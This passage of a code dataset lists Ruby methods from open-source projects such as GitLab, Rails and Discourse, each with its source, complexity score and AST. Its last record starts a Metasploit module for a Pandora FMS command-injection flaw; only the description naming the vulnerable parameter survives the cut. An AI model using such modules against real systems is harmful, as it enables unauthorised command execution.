inkFormatter\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"custom_field\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"e1d9e3de-5b1a-442a-9065-59fa41084fd7"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/whatsapp/incoming_message_service_helpers.rb","start_line":19,"raw_source":"def account\n    @account ||= inbox.account\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inbox\"]},\"account\"]}]}]}","id":"bf82d285-1517-4d52-8051-9d7d45900e6b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ext_management_system.rb","start_line":956,"raw_source":"def self.inventory_status\n    data = includes(:zone)\n           .select(:id, :parent_ems_id, :zone_id, :type, :name, :total_hosts, :total_vms, :total_clusters)\n           .map do |ems|\n             [\n               ems.region_id, ems.zone.name, ems.class.short_token, ems.name,\n               ems.total_clusters, ems.total_hosts, ems.total_vms, ems.total_storages,\n               ems.try(:containers).try(:count),\n               ems.try(:container_groups).try(:count),\n               ems.try(:container_images).try(:count),\n               ems.try(:container_nodes).try(:count),\n               ems.try(:container_projects).try(:count),\n             ]\n           end\n    return if data.empty?\n\n    data = data.sort_by { |e| [e[0], e[1], e[2], e[3]] }\n    # remove 0's (except for the region)\n    data = data.map { |row| row.each_with_index.map { |col, i| i.positive? && col.to_s == \"0\" ? nil : col } }\n    data.unshift(%w[region zone kind ems clusters hosts vms storages containers groups images nodes projects])\n    # remove columns where all values (except for the header) are blank\n    data.first.dup.each do |col_header|\n      col = data.first.index(col_header)\n      if data[1..-1].none? { |row| row[col] }\n        data.each { |row| row.delete_at(col) }\n      end\n    end\n    data\n  end","complexity_score":72.08,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inventory_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"includes\",{\"type\":\"sym\",\"children\":[\"zone\"]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"parent_ems_id\"]},{\"type\":\"sym\",\"children\":[\"zone_id\"]},{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"total_hosts\"]},{\"type\":\"sym\",\"children\":[\"total_vms\"]},{\"type\":\"sym\",\"children\":[\"total_clusters\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ems\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"region_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"zone\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"class\"]},\"short_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"total_clusters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"total_hosts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"total_vms\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"total_storages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"try\",{\"type\":\"sym\",\"children\":[\"containers\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"try\",{\"type\":\"sym\",\"children\":[\"container_groups\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"try\",{\"type\":\"sym\",\"children\":[\"container_images\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"try\",{\"type\":\"sym\",\"children\":[\"container_nodes\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ems\"]},\"try\",{\"type\":\"sym\",\"children\":[\"container_projects\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"count\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"sort_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"each_with_index\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"positive?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"col\"]},\"to_s\"]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"col\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"unshift\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"region\"]},{\"type\":\"str\",\"children\":[\"zone\"]},{\"type\":\"str\",\"children\":[\"kind\"]},{\"type\":\"str\",\"children\":[\"ems\"]},{\"type\":\"str\",\"children\":[\"clusters\"]},{\"type\":\"str\",\"children\":[\"hosts\"]},{\"type\":\"str\",\"children\":[\"vms\"]},{\"type\":\"str\",\"children\":[\"storages\"]},{\"type\":\"str\",\"children\":[\"containers\"]},{\"type\":\"str\",\"children\":[\"groups\"]},{\"type\":\"str\",\"children\":[\"images\"]},{\"type\":\"str\",\"children\":[\"nodes\"]},{\"type\":\"str\",\"children\":[\"projects\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"first\"]},\"dup\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col_header\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"col\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"first\"]},\"index\",{\"type\":\"lvar\",\"children\":[\"col_header\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"delete_at\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}","id":"33161b0a-539f-4938-9c0f-f16a0a759966"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/loaders/issuable_loader.rb","start_line":11,"raw_source":"def initialize(parent, issuable_finder)\n          @parent = parent\n          @issuable_finder = issuable_finder\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"issuable_finder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parent\",{\"type\":\"lvar\",\"children\":[\"parent\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@issuable_finder\",{\"type\":\"lvar\",\"children\":[\"issuable_finder\"]}]}]}]}","id":"319fff96-5c70-412b-8a95-ffae7b8522a8"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/encrypted_file.rb","start_line":117,"raw_source":"def read_env_key\n        ENV[env_key].presence\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"read_env_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"send\",\"children\":[null,\"env_key\"]}]},\"presence\"]}]}","id":"f1c98dfb-3d90-43f7-bfb3-847beacb9001"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/vm_reconfigure_request_spec.rb","start_line":139,"raw_source":"def assert_rhev_cpu_and_memory_min_max\n    expect(subject[:min__number_of_sockets]).to eq(1)\n    expect(subject[:max__number_of_sockets]).to eq(16)\n    expect(subject[:min__total_vcpus]).to       eq(1)\n    expect(subject[:max__total_vcpus]).to       eq(160)\n    expect(subject[:min__vm_memory]).to         eq(4)\n    expect(subject[:max__vm_memory]).to         eq(2.terabyte / 1.megabyte)\n  end","complexity_score":45.65,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_rhev_cpu_and_memory_min_max\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min__number_of_sockets\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max__number_of_sockets\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min__total_vcpus\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max__total_vcpus\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[160]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min__vm_memory\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max__vm_memory\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"terabyte\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"megabyte\"]}]}]}]}]}]}","id":"434b0bad-98fa-474f-b9f9-1abb402e6e07"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/observability/group_o11y_setting.rb","start_line":40,"raw_source":"def o11y_service_name\n      @o11y_service_name || name_from_url || name_from_group\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"o11y_service_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@o11y_service_name\"]},{\"type\":\"send\",\"children\":[null,\"name_from_url\"]}]},{\"type\":\"send\",\"children\":[null,\"name_from_group\"]}]}]}","id":"c516317d-a3b5-47d4-83b0-bf3a9dfb036e"}
{"repo_name":"forem","file_path":"./repos/forem/spec/system/authentication/user_logs_in_with_email_spec.rb","start_line":142,"raw_source":"def fill_in_user(user)\n    attach_file(File.expand_path(\"./spec/fixtures/files/podcast.png\"))\n    fill_in(\"user_name\", with: user.name)\n    fill_in(\"user_username\", with: user.username)\n    fill_in(\"user_email\", with: user.email)\n    fill_in(\"user_password\", with: \"12345678\")\n    fill_in(\"user_password_confirmation\", with: \"12345678\")\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_in_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attach_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"./spec/fixtures/files/podcast.png\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"user_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"user_username\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"user_email\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"user_password\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"12345678\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fill_in\",{\"type\":\"str\",\"children\":[\"user_password_confirmation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"str\",\"children\":[\"12345678\"]}]}]}]}]}]}","id":"2fb11eb3-966f-45be-a979-fd405aa5c059"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/suggestions/suggestion_set.rb","start_line":108,"raw_source":"def on_same_branch?(suggestion)\n        branch == suggestion.branch\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_same_branch?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"suggestion\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"branch\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggestion\"]},\"branch\"]}]}]}","id":"82fafbfa-d77a-464a-a5eb-d57bba1e161f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/member.rb","start_line":77,"raw_source":"def <=>(other)\n    a = roles.min\n    b = other.roles.min\n    a == b ? (principal <=> other.principal) : (a <=> b)\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"<=>\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"a\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"roles\"]},\"min\"]}]},{\"type\":\"lvasgn\",\"children\":[\"b\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"roles\"]},\"min\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"b\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"principal\"]},\"<=>\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"principal\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"<=>\",{\"type\":\"lvar\",\"children\":[\"b\"]}]}]}]}]}]}","id":"e8ebe75c-cd5e-4b8d-85fa-9ef563b76463"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/migration_generator_test.rb","start_line":115,"raw_source":"def test_remove_migration_with_references_options\n    migration = \"remove_references_from_books\"\n    run_generator [migration, \"author:belongs_to\", \"distributor:references{polymorphic}\"]\n\n    assert_migration \"db/migrate/#{migration}.rb\" do |content|\n      assert_method :change, content do |change|\n        assert_match(/remove_reference :books, :author/, change)\n        assert_match(/remove_reference :books, :distributor, polymorphic: true/, change)\n      end\n    end\n  end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_migration_with_references_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"str\",\"children\":[\"remove_references_from_books\"]}]},{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},{\"type\":\"str\",\"children\":[\"author:belongs_to\"]},{\"type\":\"str\",\"children\":[\"distributor:references{polymorphic}\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_migration\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"db/migrate/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_method\",{\"type\":\"sym\",\"children\":[\"change\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"remove_reference :books, :author\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"remove_reference :books, :distributor, polymorphic: true\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"change\"]}]}]}]}]}]}]}","id":"69979215-4f8c-44e4-b94b-faf217471d5e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/serializers/chat/channel_serializer.rb","start_line":155,"raw_source":"def channel_message_bus_last_id\n      @opts[:channel_message_bus_last_id] ||\n        MessageBus.last_id(Chat::Publisher.root_message_bus_channel(object.id))\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"channel_message_bus_last_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel_message_bus_last_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MessageBus\"]},\"last_id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"Publisher\"]},\"root_message_bus_channel\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]}]}]}]}","id":"706b5541-fe70-4322-bab5-f6b85c640a41"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/preferences.rb","start_line":21,"raw_source":"def assert_preference_unset(preference)\n        find(\"#preferences_#{preference}\")['checked'].should be false\n        Spree::Config[preference].should be false\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_preference_unset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"preference\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#preferences_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"preference\"]}]}]}]},\"[]\",{\"type\":\"str\",\"children\":[\"checked\"]}]},\"should\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Config\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"preference\"]}]},\"should\",{\"type\":\"send\",\"children\":[null,\"be\",{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"cc191935-90d4-4b2b-849d-4173e79fe898"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/metrics/utils/code_length_calculator.rb","start_line":177,"raw_source":"def parenthesized?(node)\n            node.call_type? && node.parenthesized?\n          end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parenthesized?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"call_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parenthesized?\"]}]}]}","id":"d0e65ef4-500d-4aa6-a43b-c26219895d28"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user.rb","start_line":39,"raw_source":"def has_no_secondary_navigation_item?(name)\n        page.has_no_css?(secondary_navigation_selector(name))\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_secondary_navigation_item?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"send\",\"children\":[null,\"secondary_navigation_selector\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"337228c5-0174-41f8-843a-d1ca217afda7"}
{"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/generators/ruby_llm/upgrade_to_v1_7/upgrade_to_v1_7_generator.rb","start_line":90,"raw_source":"def show_next_steps\n        say_status :success, 'Upgrade prepared!', :green\n        say <<~INSTRUCTIONS\n\n          Next steps:\n          1. Review the generated migrations\n          2. Run: rails db:migrate\n          3. Update your code to use the new API: #{chat_model_name}.create! now has the same signature as RubyLLM.chat\n\n          ⚠️  If you get \"undefined method 'acts_as_model'\" during migration:\n            Add this to config/application.rb BEFORE your Application class:\n\n            RubyLLM.configure do |config|\n              config.use_new_acts_as = true\n            end\n\n          📚 See the full migration guide: https://rubyllm.com/upgrading-to-1-7/\n\n        INSTRUCTIONS\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show_next_steps\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"say_status\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"str\",\"children\":[\"Upgrade prepared!\"]},{\"type\":\"sym\",\"children\":[\"green\"]}]},{\"type\":\"send\",\"children\":[null,\"say\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Next steps:\\n\"]},{\"type\":\"str\",\"children\":[\"1. Review the generated migrations\\n\"]},{\"type\":\"str\",\"children\":[\"2. Run: rails db:migrate\\n\"]},{\"type\":\"str\",\"children\":[\"3. Update your code to use the new API: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"chat_model_name\"]}]},{\"type\":\"str\",\"children\":[\".create! now has the same signature as RubyLLM.chat\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"⚠️  If you get \\\"undefined method 'acts_as_model'\\\" during migration:\\n\"]},{\"type\":\"str\",\"children\":[\"  Add this to config/application.rb BEFORE your Application class:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"  RubyLLM.configure do |config|\\n\"]},{\"type\":\"str\",\"children\":[\"    config.use_new_acts_as = true\\n\"]},{\"type\":\"str\",\"children\":[\"  end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"📚 See the full migration guide: https://rubyllm.com/upgrading-to-1-7/\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]}","id":"a30321a9-219c-42ee-9dc2-6c031ba406a9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/testing.rb","start_line":32,"raw_source":"def __test_mode\n        __local_test_mode || __global_test_mode\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"__test_mode\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__local_test_mode\"]},{\"type\":\"send\",\"children\":[null,\"__global_test_mode\"]}]}]}","id":"822e79af-dcc2-4ef8-82e7-8beff4dcafc3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/pandora_fms_events_exec.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Pandora FMS Events Remote Command Execution',\n        'Description' => %q{\n          This module exploits a vulnerability (CVE-2020-13851) in Pandora\n          FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps\n          older versions) in order to execute arbitrary commands.\n\n          This module takes advantage of a command injection vulnerability in the\n          `Events` feature of Pandora FMS. This flaw allows users to execute\n          arbitrary commands via the `target` parameter in HTTP POST requests to\n          the `Events` function. After authenticating to the target, the module\n          attempts to exploit this 